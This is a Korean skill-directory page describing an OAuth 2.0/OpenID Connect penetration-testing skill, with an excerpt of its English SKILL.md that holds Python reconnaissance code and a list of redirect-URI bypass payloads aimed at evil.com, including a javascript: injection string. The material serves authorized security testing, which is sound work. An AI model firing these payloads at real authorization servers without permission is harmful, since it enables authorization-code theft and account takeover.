본문으로 건너뛰기
Skillpedia
테스트35k · #8396

testing-oauth2-implementation-flaws

하는 일

이 도구는 OAuth 2.0과 OpenID Connect(흔한 로그인 방식)를 사용하는 시스템에 보안 결함이 있는지 확인합니다. 로그인 정보를 훔치거나 계정에 무단으로 접근할 방법을 찾습니다.

사용하는 경우

  • ✓OAuth 2.0이나 OpenID Connect를 사용하는 로그인 시스템을 테스트할 때.
  • ✓로그인 과정이 권한 없는 당사자에게 접근을 허용하도록 속을 수 있다고 의심될 때.
  • ✓로그인 후 리다이렉트 URL이 제대로 검증되는지 확인할 때.

스킬 링크

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/testing-oauth2-implementation-flaws/SKILL.md

복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.

사용 방법

가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.

바로 붙여넣을 수 있는 메시지

Use this skill to help me: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/testing-oauth2-implementation-flaws/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
AI가 이런 스킬을 알아서 찾아 쓰길 원하시나요?무료 Skillpedia MCP를 설치하세요. 한 줄이면 작업마다 스킬 15,000+개 중에서 검색합니다.1분 만에 설치 →

AI에게 요청하는 예시

“OAuth 2.0을 사용하는 애플리케이션 X의 로그인 시스템 보안을 테스트해 주세요.”

매주 새 스킬 5개. 읽는 데 1분.

작동 방식

도구는 사용자를 악성 웹사이트로 리다이렉트하거나 접근 코드를 훔치려는 등 여러 공격을 모의합니다. Burp Suite 같은 도구로 네트워크 트래픽을 분석해 취약점을 찾습니다.

기술 내용 (원본 SKILL.md)

작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.

Testing OAuth2 Implementation Flaws

When to Use

  • Assessing OAuth 2.0 authorization code flow for redirect URI validation weaknesses
  • Testing OAuth client applications for CSRF protection (state parameter usage) and PKCE enforcement
  • Evaluating token storage, transmission, and lifecycle management in OAuth implementations
  • Testing scope escalation where clients request more permissions than authorized
  • Assessing OpenID Connect implementations for ID token validation and nonce usage

Do not use without written authorization. OAuth testing may result in token theft or unauthorized access.

Prerequisites

  • Written authorization specifying the OAuth provider and client applications in scope
  • Test OAuth client registered with the authorization server
  • Burp Suite Professional for intercepting OAuth redirects and token flows
  • Python 3.10+ with requests and oauthlib libraries
  • Browser developer tools for observing OAuth redirect chains
  • Knowledge of the OAuth 2.0 grant types in use (authorization code, implicit, client credentials)

Workflow

Step 1: OAuth Flow Reconnaissance

import requests
import urllib.parse
import re
import hashlib
import base64
import secrets

AUTH_SERVER = "https://auth.example.com"
CLIENT_ID = "test-client-id"
REDIRECT_URI = "https://app.example.com/callback"
SCOPE = "openid profile email"

# Discover OAuth endpoints
well_known = requests.get(f"{AUTH_SERVER}/.well-known/openid-configuration")
if well_known.status_code == 200:
    config = well_known.json()
    print("OAuth/OIDC Configuration:")
    print(f"  Authorization: {config.get('authorization_endpoint')}")
    print(f"  Token: {config.get('token_endpoint')}")
    print(f"  UserInfo: {config.get('userinfo_endpoint')}")
    print(f"  JWKS: {config.get('jwks_uri')}")
    print(f"  Supported grants: {config.get('grant_types_supported')}")
    print(f"  Supported scopes: {config.get('scopes_supported')}")
    print(f"  PKCE methods: {config.get('code_challenge_methods_supported')}")
    auth_endpoint = config['authorization_endpoint']
    token_endpoint = config['token_endpoint']
else:
    # Try common paths
    for path in ["/authorize", "/oauth/authorize", "/oauth2/authorize", "/auth"]:
        resp = requests.get(f"{AUTH_SERVER}{path}", allow_redirects=False)
        if resp.status_code in (302, 400):
            print(f"Authorization endpoint found: {AUTH_SERVER}{path}")
            auth_endpoint = f"{AUTH_SERVER}{path}"
            break

Step 2: Redirect URI Validation Testing

# Test redirect_uri validation strictness
REDIRECT_BYPASS_PAYLOADS = [
    # Open redirect variations
    REDIRECT_URI,                                          # Legitimate
    "https://evil.com",                                    # Different domain
    "https://app.example.com.evil.com/callback",          # Subdomain of attacker
    "https://app.example.com@evil.com/callback",          # URL authority confusion
    f"{REDIRECT_URI}/../../../evil.com",                  # Path traversal
    f"{REDIRECT_URI}?next=https://evil.com",              # Parameter injection
    f"{REDIRECT_URI}#https://evil.com",                   # Fragment injection
    f"{REDIRECT_URI}%23evil.com",                         # Encoded fragment
    "https://app.example.com/callback/../../evil",        # Relative path
    "https://APP.EXAMPLE.COM/callback",                   # Case variation
    "https://app.example.com/Callback",                   # Path case variation
    "https://app.example.com/callback/",                  # Trailing slash
    "https://app.example.com/callback?",                  # Trailing question mark
    "http://app.example.com/callback",                    # HTTP downgrade
    "https://app.example.com:443/callback",               # Explicit port
    "https://app.example.com:8443/callback",              # Different port
    f"{REDIRECT_URI}/.evil.com",                          # Dot segment
    "https://app.example.com/callbackevil",               # Path prefix match
    "javascript://app.example.com/callback%0aalert(1)",   # JavaScript protocol
]

print("=== Redirect URI Validation Testing ===\n")
for redirect in REDIRECT_BYPASS_PAYLOADS:
    params = {
        "response_type": "code",
        "client_id": CLIENT_ID,
        "redirect_uri": redirect,
        "scope": SCOPE,
        "state": secrets.token_urlsafe(32),
    }
    resp = requests.get(auth_endpoint, params=params, allow_redirects=False)


…
자주 묻는 질문

OAuth 2.0과 OpenID Connect란 무엇인가요?

Google이나 Facebook 같은 하나의 계정으로, 각 앱마다 새로 가입하지 않고도 여러 애플리케이션에 로그인할 수 있게 해 주는 표준입니다.

Burp Suite란 무엇인가요?

보안 전문가가 네트워크 트래픽을 가로채고 수정해 웹 애플리케이션의 보안을 테스트하는 데 쓰는 도구입니다.

이 도구를 쓰려면 허가가 필요한가요?

네, 이런 테스트는 토큰 탈취나 무단 접근으로 이어질 수 있으므로 어떤 시스템을 테스트하기 전에도 서면 허가가 반드시 필요합니다.

상세 정보

작성자의 원본 설명

Tests OAuth 2.0 and OpenID Connect implementations for authorization code interception, redirect URI manipulation, CSRF in OAuth flows, token leakage, scope escalation, and PKCE bypass, using Burp Suite Professional and the EsPReSSO extension to probe the authorization server, client, and token handling. Use when assessing OAuth2/OIDC flows or SSO systems for misconfigurations enabling account tak

repo: mukul975/Anthropic-Cybersecurity-Skills

인기도

GitHub 스타
35k
순위
#8396
라이선스
Apache-2.0
업데이트
2026. 8. 31.

이 스킬이 유용한가요?

0

로그인 투표하려면 로그인하세요.

댓글

  • …

이 저장소의 다른 스킬

비슷한 스킬